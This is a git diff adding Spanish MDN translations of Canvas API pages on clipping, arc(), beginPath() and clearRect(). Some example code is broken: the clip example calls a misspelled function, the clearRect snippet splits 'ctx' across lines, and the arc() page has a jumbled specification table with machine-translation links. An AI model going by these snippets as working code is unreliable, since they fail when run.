+                G = C;
+                B = A;
+                break;
+            case 1:
+                R = B;
+                G = V;
+                B = A;
+                break;
+            case 2:
+                R = A;
+                G = V;
+                B = C;
+                break;
+            case 3:
+                R = A;
+                G = B;
+                B = V;
+                break;
+            case 4:
+                R = C;
+                G = A;
+                B = V;
+                break;
+            case 5:
+                R = V;
+                G = A;
+                B = B;
+                break;
+        }
+    }
+    return {
+        R: R,
+        G: G,
+        B: B
+    };
+};
+
+var createInterlace = function (size, color1, color2) {
+    var proto = document.createElement("canvas").getContext("2d");
+    proto.canvas.width = size * 2;
+    proto.canvas.height = size * 2;
+    proto.fillStyle = color1; // top-left
+    proto.fillRect(0, 0, size, size);
+    proto.fillStyle = color2; // top-right
+    proto.fillRect(size, 0, size, size);
+    proto.fillStyle = color2; // bottom-left
+    proto.fillRect(0, size, size, size);
+    proto.fillStyle = color1; // bottom-right
+    proto.fillRect(size, size, size, size);
+    var pattern = proto.createPattern(proto.canvas, "repeat");
+    pattern.data = proto.canvas.toDataURL();
+    return pattern;
+};
+
+var op_8x8 = createInterlace(8, "#FFF", "#eee");</pre>
diff --git a/files/es/web/api/canvas_api/tutorial/compositing/index.html b/files/es/web/api/canvas_api/tutorial/compositing/index.html
new file mode 100644
index 0000000000..1d45712fd4
--- /dev/null
+++ b/files/es/web/api/canvas_api/tutorial/compositing/index.html
@@ -0,0 +1,117 @@
+---
+title: Compositing and clipping
+slug: Web/API/Canvas_API/Tutorial/Compositing
+tags:
+  - Canvas
+  - Graphics
+  - HTML
+  - HTML5
+  - Intermediate
+  - Lienzo
+  - NeedsTranslation
+  - Recorte
+  - TopicStub
+  - Tutorial
+translation_of: Web/API/Canvas_API/Tutorial/Compositing
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Transformations", "Web/API/Canvas_API/Tutorial/Basic_animations")}}</div>
+
+<div class="summary">
+<p>En todos nuestros <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Transformations">ejemplos a</a>nteriores, las formas siempre fueron dibujadas una encima de la anterior. Estos es más que adecuado para la mayoría de las situaciones pero se limita al orden compuesto de las figuras. Podemos, sin embargo, cambiar este comportamiento estableciendo  el valor de la propiedad <code>globalCompositeOperation</code>. Además, la proeidad <code>clip</code> nos permite ocultar partes de figuras que no queremos mostrar.</p>
+</div>
+
+<h2 id="globalCompositeOperation" name="globalCompositeOperation"><code>globalCompositeOperation</code></h2>
+
+<p>No solo podemos dibujar formas nuevas detrás de las ya existentes sino que las podemos utilizar para enmascarar ciertas áreas, limpiar secciones del lienzo (canvas no se limita a utilizar rectángulos como en el método {{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}}) y algunas cosas más.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.globalCompositeOperation", "globalCompositeOperation = type")}}</dt>
+ <dd>Esto establece el tipo de operación compuesta a aplicar cuando se dibujan nuevas figuras, en donde tipo (type) es una cadena de caracteres que identifica cual de las doce operaciones compuestas se utilizará.</dd>
+</dl>
+
+<p>Vea <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing/Example">ejemplos de composición</a> para el código de los siguientes ejemplos.</p>
+
+<p>{{EmbedLiveSample("Compositing_example", 750, 6750, "" ,"Web/API/Canvas_API/Tutorial/Compositing/Example")}}</p>
+
+<h2 id="Clipping_paths" name="Clipping_paths">Trazado de Recorte</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/209/Canvas_clipping_path.png" style="float: right;">Un trazado de recoirte es como una figura normal en el lienzo pero actúa como una máscara para ocultar las partes de la misma que no se quieren mostrar. Este efecto se muestra en la figura de la derecha. La estrella roja es nuestro trazado de recorte. Todo lo que cae fuera de este trazado no se dibujará en el lienzo.</p>
+
+<p>Si comparamos el trazado de recorte con la propiedad <code>globalCompositeOperation</code> que hemos visto antes, vemos dos modos compuestos que logran mas o menos los mismos efectos en <code>source-in</code> y <code>source-atop</code>. Las diferencias mas importantes entre éstos dos son que el trazado de recorte no dibujan nunca en el lienzo y que nunca se afecta por agregar nuevas figuras. Esto vuelve al trazado de recorte ideal para dibujar múltiples figuras en un área delimitada.</p>
+
+<p>En el capítulo acerca de <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes" title="Web/Guide/HTML/Canvas_tutorial/Drawing_shapes#Drawing_paths">dibujo de figuras</a> solo menciono a los métodos <code>stroke()</code> y <code>fill()</code> pero existe un tercer método que se usa para trazados llamado <code>clip()</code>.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.clip", "clip()")}}</dt>
+ <dd>Convierte al trazado en ejecución a un trazado de recorte.</dd>
+</dl>
+
+<p>Se utiliza <code>clip()</code> en lugar de <code>closePath()</code> para cerrar el trazado y volverlo uno de recorte, en vez de marcar (stroke) o rellenar el trazado.</p>
+
+<p>Por edfecto el elemento {{HTMLElement("canvas")}} tiene un trazado de recorte que es de extacamente el mismo tamaño del propio lienzo. En otras palabras, la máscara de recorte (clipping) no se da.</p>
+
+<h3 id="A_clip_example" name="A_clip_example">Un ejemplo de <code>clip</code></h3>
+
+<p>En este ejemplo, utilizamos un trazado de recorte de forma circular para restringir el dibujo de un conjunto de estrellas aleatorias dentro de una región particular del lienzo.</p>
+
+<pre class="brush: js;highlight[9] notranslate">function dibuja() {
+  var ctx = document.getElementById('lienzo').getContext('2d');
+  ctx.fillRect(0, 0, 150, 150);
+  ctx.translate(75, 75);
+
+  // crear un trazado de corte de forma circular
+  ctx.beginPath();
+  ctx.arc(0, 0, 60, 0, Math.PI * 2, true);
+  ctx.clip();
+
+  // pinta el fondo
+  var lingrad = ctx.createLinearGradient(0, -75, 0, 75);
+  lingrad.addColorStop(0, '#232256');
+  lingrad.addColorStop(1, '#143778');
+
+  ctx.fillStyle = lingrad;
+  ctx.fillRect(-75, -75, 150, 150);
+
+  // dibuja las estrellas
+  for (var j = 1; j &lt; 50; j++) {
+    ctx.save();
+    ctx.fillStyle = '#fff';
+    ctx.translate(75 - Math.floor(Math.random() * 150),
+                  75 - Math.floor(Math.random() * 150));
+    dibulaEstrella(ctx, Math.floor(Math.random() * 4) + 2);
+    ctx.restore();
+  }
+
+}
+
+function dibujaEstrella(ctx, r) {
+  ctx.save();
+  ctx.beginPath();
+  ctx.moveTo(r, 0);
+  for (var i = 0; i &lt; 9; i++) {
+    ctx.rotate(Math.PI / 5);
+    if (i % 2 === 0) {
+      ctx.lineTo((r / 0.525731) * 0.200811, 0);
+    } else {
+      ctx.lineTo(r, 0);
+    }
+  }
+  ctx.closePath();
+  ctx.fill();
+  ctx.restore();
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="lienzo" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">dibuja();</pre>
+</div>
+
+<p>En las primeras líneas de código, dibujamos un rectángulo negro del tamaño del lienzo como telón de fondo, luego trasladamos el origen del mismo al centro. A continuación, creamos un trazado de recorte de forma circular, a través de dibujar un arco y mediante la llamada a <code>clip()</code>. El recorte también es parte del estado guardado del lienzo. Si queremos mantener el recorte original, podríamos haber guardado el estado anterior del lienzo justo antes de que creamos el nuevo.</p>
+
+<p>Todo lo que se dibuja después de crear un recorte aparecerá dentro de su trazado. Se puede ver claramente esto en el dibujo de gradiente lineal que realizamos a continuación. Después se ubican estrellas en 50 posiciones alteatorias y escaladas utilizando la función <code>drawStar()</code>. Una vez más, las estrellas solo aparecen dentro del recorte trazado  en el lienzo.</p>
+
+<p>{{EmbedLiveSample("A_clip_example", "180", "180", "https://mdn.mozillademos.org/files/208/Canvas_clip.png")}}</p>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Transformations", "Web/API/Canvas_API/Tutorial/Basic_animations")}}</p>
diff --git a/files/es/web/api/canvasimagesource/index.html b/files/es/web/api/canvasimagesource/index.html
new file mode 100644
index 0000000000..bf143d9335
--- /dev/null
+++ b/files/es/web/api/canvasimagesource/index.html
@@ -0,0 +1,42 @@
+---
+title: CanvasImageSource
+slug: Web/API/CanvasImageSource
+tags:
+  - API
+  - Auxiliar
+  - Canvas
+  - Referencia
+translation_of: Web/API/CanvasImageSource
+---
+<p>{{APIRef("Canvas API")}}</p>
+
+<p>El tipo auxiliar <code><strong>CanvasImageSource</strong></code> representa cualquiera de los siguientes tipos:</p>
+
+<ul>
+ <li>{{domxref("CSSImageValue")}}</li>
+ <li>{{domxref("HTMLImageElement")}}</li>
+ <li>{{domxref("SVGImageElement")}}</li>
+ <li>{{domxref("HTMLVideoElement")}}</li>
+ <li>{{domxref("HTMLCanvasElement")}}</li>
+ <li>{{domxref("ImageBitmap")}}</li>
+ <li>{{domxref("OffscreenCanvas")}}</li>
+</ul>
+
+<p>Este es un tipo auxiliar usado para simplificar la especificación, no es una interfáz y por ello no hay objetos implementandolo.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#canvasimagesource", "CanvasImageSource")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/web/api/canvasrenderingcontext2d/arc/index.html b/files/es/web/api/canvasrenderingcontext2d/arc/index.html
new file mode 100644
index 0000000000..db4803a7ab
--- /dev/null
+++ b/files/es/web/api/canvasrenderingcontext2d/arc/index.html
@@ -0,0 +1,226 @@
+---
+title: CanvasRenderingContext2D.arc()
+slug: Web/API/CanvasRenderingContext2D/arc
+translation_of: Web/API/CanvasRenderingContext2D/arc
+---
+<div>{{APIRef}}</div>
+
+<p><span class="notranslate">El método <code><strong>CanvasRenderingContext2D</strong></code> <strong><code>.arc()</code></strong> de la API de Canvas 2D añade un arco a la trayectoria centrada en la posición <em>(x, y)</em> con el radio <em>r</em> comenzando en <em>startAngle</em> y terminando en <em>endAngle que</em> va en la dirección dada en sentido <em>antihorario</em> (predeterminado en sentido  horario) .</span></p>
+
+<h2 id="Sintaxis"><span class="highlight-span"><span class="notranslate">Sintaxis</span></span></h2>
+
+<pre class="syntaxbox"><span class="notranslate"><var>Void <em>ctx</em> .arc (x, y, radio, startAngle, endAngle, antihorario);</var></span></pre>
+
+<h3 id="Parámetros"><span class="notranslate">Parámetros</span></h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd><span class="notranslate">La coordenada x del centro del arco.</span></dd>
+ <dt><code>y</code></dt>
+ <dd><span class="notranslate">La coordenada y del centro del arco.</span></dd>
+ <dt><code>radius</code></dt>
+ <dd><span class="notranslate">El radio del arco.</span></dd>
+ <dt><code>startAngle</code></dt>
+ <dd><span class="notranslate">El ángulo en el que se inicia el arco, medido en sentido horario desde el eje x positivo y expresado en radianes.</span></dd>
+ <dt><code>endAngle</code></dt>
+ <dd><span class="notranslate">El ángulo en el que termina el arco, medido en sentido horario desde el eje x positivo y expresado en radianes.</span></dd>
+ <dt><span class="notranslate"><code>anticlockwise</code> <span class="inlineIndicator optional optionalInline">Opcional</span></span></dt>
+ <dd><span class="notranslate">Un <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean&amp;usg=ALkJrhiYmhdjPGE_uAW2GdnX2VQcrdMSOA" title="El objeto booleano es un contenedor de objetos para un valor booleano."><code>Boolean</code></a> opcional que, si es <code>true</code> , hace que el arco se dibuje en sentido contrario a las agujas del reloj entre los dos ángulos.</span> <span class="notranslate"> De forma predeterminada, se dibuja en el sentido de las agujas del reloj.</span></dd>
+</dl>
+
+<h2 id="Ejemplos"><span class="highlight-span"><span class="notranslate">Ejemplos</span></span></h2>
+
+<h3 id="Using_the_arc_method" name="Using_the_arc_method"><span class="notranslate">Utilizando el método del <code>arc</code></span></h3>
+
+<p><span class="notranslate">Esto es sólo un simple fragmento de código dibujando un círculo.</span></p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.arc(75, 75, 50, 0, 2 * Math.PI);
+ctx.stroke();
+</pre>
+
+<p><span class="notranslate">Edite el código de abajo y vea su actualización de cambios en vivo en el lienzo:</span></p>
+
+<div style="display: none;">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.beginPath();
+ctx.arc(50, 50, 50, 0, 2 * Math.PI, false);
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h3 id="Different_shapes_demonstrated" name="Different_shapes_demonstrated"><span class="notranslate">Diferentes formas demostradas</span></h3>
+
+<p><span class="notranslate">En este ejemplo se dibujan diferentes formas para mostrar lo que es posible al usar <code>arc()</code> .</span></p>
+
+<div style="display: none;">
+<h6 id="HTML_2">HTML</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="200"&gt;&lt;/canvas&gt;
+</pre>
+
+<h6 id="JavaScript_2">JavaScript</h6>
+</div>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+// Draw shapes
+for (var i = 0; i &lt; 4; i++) {
+  for(var j = 0; j &lt; 3; j++) {
+    ctx.beginPath();
+    var x              = 25 + j * 50;               // x coordinate
+    var y              = 25 + i * 50;               // y coordinate
+    var radius         = 20;                    // Arc radius
+    var startAngle     = 0;                     // Starting point on circle
+    var endAngle       = Math.PI + (Math.PI * j) /2; // End point on circle
+    var anticlockwise  = i % 2 == 1;                // Draw anticlockwise
+
+    ctx.arc(x, y, radius, startAngle, endAngle, anticlockwise);
+
+    if (i &gt; 1) {
+      ctx.fill();
+    } else {
+      ctx.stroke();
+    }
+  }
+}</pre>
+
+<p>{{ EmbedLiveSample('Different_shapes_demonstrated', 160, 210, "https://mdn.mozillademos.org/files/204/Canvas_arc.png") }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col"><span class="notranslate">Especificación</span></th>
+   <th scope="col"><span class="notranslate">Estado</span></th>
+   <th scope="col"><span class="notranslate">Comentario</span></th>
+   <td><span class="notranslate"><a class="external external-icon" href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://html.spec.whatwg.org/multipage/scripting.html&amp;usg=ALkJrhjTH2Ij7ayPxhvtaZrELWW-GupMRw#dom-context-2d-arc" hreflang="en" lang="en">WHATWG HTML Estándar de vida</a></span><br>
+    <span class="notranslate"><a class="external external-icon" href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://html.spec.whatwg.org/multipage/scripting.html&amp;usg=ALkJrhjTH2Ij7ayPxhvtaZrELWW-GupMRw#dom-context-2d-arc" hreflang="en" lang="en"><small lang="en-US">La definición de 'CanvasRenderingContext2D.arc' en esa especificación.</small></a></span></td>
+   <td><span class="notranslate"><span class="spec-Living">Estándar de vida</span></span></td>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-arc", "CanvasRenderingContext2D.arc")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador"><span class="highlight-span"><span class="notranslate">Compatibilidad del navegador</span></span></h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 class="highlight-spanned" id="Notas_específicas_de_Gecko"><span class="highlight-span"><span class="notranslate">Notas específicas de Gecko</span> </span></h2>
+
+<p><span class="notranslate">Comenzando con Gecko 2.0 (Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1):</span></p>
+
+<ul>
+ <li><span class="notranslate">El parámetro <code>anticlockwise</code> es opcional,</span></li>
+ <li><span class="notranslate">Especificar un radio negativo ahora arroja un error <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/Web/API/DOMError&amp;usg=ALkJrhjJXFH50zmUpD4NUbH_0bFfrCdTxg" title="La interfaz DOMError describe un objeto de error que contiene un nombre de error."><code>IndexSizeError</code></a> ("Índice o tamaño es negativo o mayor que la cantidad permitida").</span></li>
+</ul>
+
+<h2 class="highlight-spanned" id="Ver_también"><span class="highlight-span"><span class="notranslate">Ver también</span> </span></h2>
+
+<ul>
+ <li><span class="notranslate">La interfaz que lo define, <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D&amp;usg=ALkJrhi38xECKVHgn-8Z40wUeE-veK4pog" title='Para obtener un objeto de esta interfaz, llame a getContext () en un elemento &amp;lt;canvas>, proporcionando "2d" como argumento:'><code>CanvasRenderingContext2D</code></a></span></li>
+</ul>
diff --git a/files/es/web/api/canvasrenderingcontext2d/beginpath/index.html b/files/es/web/api/canvasrenderingcontext2d/beginpath/index.html
new file mode 100644
index 0000000000..1c91e264f4
--- /dev/null
+++ b/files/es/web/api/canvasrenderingcontext2d/beginpath/index.html
@@ -0,0 +1,180 @@
+---
+title: CanvasRenderingContext2D.beginPath()
+slug: Web/API/CanvasRenderingContext2D/beginPath
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Referencia
+  - metodo
+translation_of: Web/API/CanvasRenderingContext2D/beginPath
+---
+<div>{{APIRef}}</div>
+
+<p>El método <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.beginPath() </code></strong>del API Canvas 2D comienza una nueva ruta vaciando la lista de sub-rutas. Invoca este método cuando quieras crear una nueva ruta. </p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.beginPath();</var>
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_el_método_beginPath">Usando el método <code>beginPath</code></h3>
+
+<p>Este es solo un trozo de código el cual usa el método <code>beginPath</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5,12]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+// First path
+ctx.beginPath();
+ctx.strokeStyle = 'blue';
+ctx.moveTo(20,20);
+ctx.lineTo(200,20);
+ctx.stroke();
+
+// Second path
+ctx.beginPath();
+ctx.strokeStyle = 'green';
+ctx.moveTo(20,20);
+ctx.lineTo(120,120);
+ctx.stroke();
+</pre>
+
+<p>Edita el código aquí debajo y mira tus cambios actualizarse en vivo en el canvas:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code" style="height:200px"&gt;
+// First path
+ctx.beginPath();
+ctx.strokeStyle = 'blue';
+ctx.moveTo(20,20);
+ctx.lineTo(200,20);
+ctx.stroke();
+
+// Second path
+ctx.beginPath();
+ctx.strokeStyle = 'green';
+ctx.moveTo(20,20);
+ctx.lineTo(120, 120);
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 460) }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-beginpath", "CanvasRenderingContext2D.beginPath")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>The interface defining it, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.closePath()")}}</li>
+</ul>
diff --git a/files/es/web/api/canvasrenderingcontext2d/clearrect/index.html b/files/es/web/api/canvasrenderingcontext2d/clearrect/index.html
new file mode 100644
index 0000000000..64aa1a3908
--- /dev/null
+++ b/files/es/web/api/canvasrenderingcontext2d/clearrect/index.html
@@ -0,0 +1,203 @@
+---
+title: CanvasRenderingContext2D.clearRect()
+slug: Web/API/CanvasRenderingContext2D/clearRect
+translation_of: Web/API/CanvasRenderingContext2D/clearRect
+---
+<div>{{APIRef}}</div>
+
+<div>El método <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.clearRect() </code></strong><code>del API Canvas 2D convierte todos los pixeles en el rectangulo definido por el punto de inicio<em> (x, y) </em>y tamaño </code><em>(width, height)</em> a negro transparente, borrando cualquier contenido dibujado anteriormente.</div>
+
+<div> </div>
+
+<h2 id="Syntaxis">Syntaxis</h2>
+
+<div>
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">void <var><em>ctx</em>.clearRect(x, y, width, height);</var></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><strong>x</strong></dt>
+ <dd>El eje <strong>x </strong> de la coordenada para el punto de inicio del rectangulo.</dd>
+ <dt>y</dt>
+ <dd>El eje <strong>y </strong> de la coordenada para el punto de inicio del rectangulo.</dd>
+ <dt>width</dt>
+ <dd>El ancho del rectangulo.</dd>
+ <dt>heigth</dt>
+ <dd>el alto del rectangulo.</dd>
+</dl>
+
+<h2 id="Notas_de_uso">Notas de uso</h2>
+
+<p>Un problema común con <strong><code>clearRect </code></strong>es que puede parecer que no funciona cuando no se usan las <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes#Drawing_paths">trayectorias de dibujo</a> (<a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes#Drawing_paths">paths</a>) de forma adecuada. No olvide llamar {{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}} antes de comenzar a dibujar el nuevo cuadro después de llamar <strong><code>clearRect</code></strong><code>.</code></p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<dl>
+ <dt>
+ <h3 id="Usando_el_método_clearRect">Usando el método <code>clearRect</code></h3>
+ </dt>
+</dl>
+
+<p><span style="display: none;"> </span> Este es un simple fragmento (snippet) de código que usa el método <strong><code>clearRect</code></strong>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d'); c
+
+tx.beginPath(); ctx.moveTo(20, 20);
+ctx.lineTo(200, 20);
+ctx.lineTo(120, 120);
+ctx.closePath(); // draws last line of the triangle
+ctx.stroke();
+
+ctx.clearRect(10, 10, 100, 100);
+
+// clear the whole canvas
+// ctx.clearRect(0, 0, canvas.width, canvas.height);</pre>
+
+<h2 id="sect1"><span style="display: none;"> </span> </h2>
+
+<p>Edite el código de abajo y vea sus cambios actualizados en vivo en el canvas:</p>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 400) }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-clearrect", "CanvasRenderingContext2D.clearRect")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code" style="height:140px;"&gt;
+ctx.beginPath();
+ctx.moveTo(20,20);
+ctx.lineTo(200,20);
+ctx.lineTo(120,120);
+ctx.closePath(); // draws last line of the triangle
+ctx.stroke();
+
+ctx.clearRect(10, 10, 100, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
